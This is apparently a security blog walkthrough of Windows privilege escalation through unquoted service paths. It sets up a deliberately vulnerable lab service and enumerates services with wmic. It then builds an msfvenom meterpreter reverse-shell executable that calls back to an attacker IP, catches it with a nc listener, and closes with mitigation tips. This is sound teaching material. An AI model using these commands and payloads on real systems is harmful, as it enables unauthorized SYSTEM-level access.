In this blog, we’ll discuss how service paths can be abused to escalate privileges in Windows systems. As usual, we’ll look at the theoretical aspects of this abuse, and then we’ll have a practical walkthrough of the abuse.
In the MITRE ATT&CK Framework, Privilege Escalation is listed as an Enterprise Tactic bearing the ID TA0004. Abusing Unquoted Service Paths is a sub-technique of the Hijacking Execution Flow technique (T1547) bearing the technique ID T1547.009.
Quoted and Unquoted Service Paths:
When a service is installed/created and its executable path contains spaces, then it is a concern of secure coding to enclose the path in quotes, but sometimes these paths are left unquoted which lets an attacker hijack the service’s path and place his own malicious executable to gain command execution on the target system with elevated privileges.
What makes it possible to exploit Unquoted Service Paths:
The root cause of this abuse is how Windows API handles CreateProcess function calls. If we look at the CreateProcess function, the string parameter that makes it possible to hijack unquoted paths is lpApplicationName, which is the name of the module to be executed.. According to Microsoft:
“The string can specify the full path and file name of the module to execute or it can specify a partial name. In the case of a partial name, the function uses the current drive and current directory to complete the specification. This parameter must include the file name extension; no default extension is assumed. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous.”
In simple words, let’s say a service is installed with the executable path as:
C:\Program Files\Example Dir\Example Service.exe
Now, if this path is not quoted, upon initiation of the service, Windows will look for the service executable in the following order:
C:\Program Files\Example Dir\Example.exe
C:\Program Files\Example Dir\Example Service.exe
If given write permissions in the directories above, the attacker can easily place his malicious executable and hijack the execution flow.
Once an attacker has Domain/Local user access, their next step usually is to own the system by getting Super User or Administrative access; i.e. root (in case of Linux) and Local Administrator or NT Authority/System (in case of Windows).
Unquoted Service Paths for any service may give the attacker the required administrative access of the target Windows system.
Generally how this works is the attacker after getting local user access to a target would list all the running services on the system. He would then check them for their executable paths and if any of them has unquoted service paths. If an unquoted service path is found, he would then check the owner of that service, if the service is managed by the SYSTEM or Administrator, he would then check the directories for write permissions, and then prepare his payloaded executable file and place it in one of the directories where he has write access. Now the service has to be restarted, and the attacker will gain elevated access to the target system.
Below is the entire attack flow in a diagrammatic form:
Practical Demonstration of the Attack:
For practical demonstration, we’ll first create and configure a deliberately vulnerable service and then exploit it.
Creating the service:
Open up windows cmd in administrator mode and then run the following command to create the service:
sc create “Vuln_Svc” binpath= “C:\Program Files\Vuln_Svc Dir\Vuln_Svc Files\vuln_svc.exe” DisplayName= “Vuln_Svc for Lab” start= auto
Now we’ll create the above mentioned directories:
mkdir “C:\Program Files\Vuln_Svc Dir” && mkdir “C:\Program Files\Vuln_Svc Dir\Vuln_Svc Files”
Granting write access:
icacls “C:\Program Files\Vuln_Svc Dir” /grant “Builtin\Users”:W
Now that our lab environment is set up, let’s move towards the exploitation part.
As always let’s check our permissions:
whoami && whoami /priv && whoami /groups
Just a regular local user.
Let’s enumerate running services:
wmic service get name
Now let’s check these services for their paths:
wmic service get name,pathname
A service is found with an unquoted service path. Let’s check the ownership of this service:
wmic service get name,pathname,startname
The service is managed by LocalSystem.
We can use this one-liner as well to get the service info:
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Now if the path is writable by our user, we can place a malicious shellcoded executable in the path and get SYSTEM privileges on our target. Let’s check the path for write access:
icacls “C:\Program Files\Vuln_Svc Dir”
We have write access in the ‘Vuln_Svc Dir’ directory (If there was no write access, then we would have looked for write access in the directories within).
Let’s create our shellcoded executable that’ll give us the SYSTEM shell of the shell. Using msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacking_machine_ip> LPORT=<attacking_machine_listening_port> -f exe > Vuln_Svc.exe
Now, if we have permissions to start/stop the service we’ll first stop the service, place our malicious executable in the ‘Vuln_Svc Dir’ directory and then start the service to get the elevated shell. This can be done using the following commands:
sc stop vuln_svc
To stop the service.
sc qc vuln_svc
To check whether the service has stopped or not.
sc start vuln_svc
To start the service back.
But if we don’t have permissions to start/stop the service, or if the service is set to autostart, then we can simply reboot the system, and when the target system boots up we’ll have the elevated shell.
In our case, since the vuln_svc is set to autostart. Let’s transfer our shellcoded exe file, place it in path, set up our listener and reboot the system.
Upon doing so, we now have the SYSTEM shell.
nc -lvnp 443
Detection & Mitigation:
- Look for files named after partial directories.
- Look for executing processes named after partial directories.
- Make sure to include the full executable path of the service in quotes.
- Restrict write access in the administrator and system directories.
- Place all executables in write-protected directories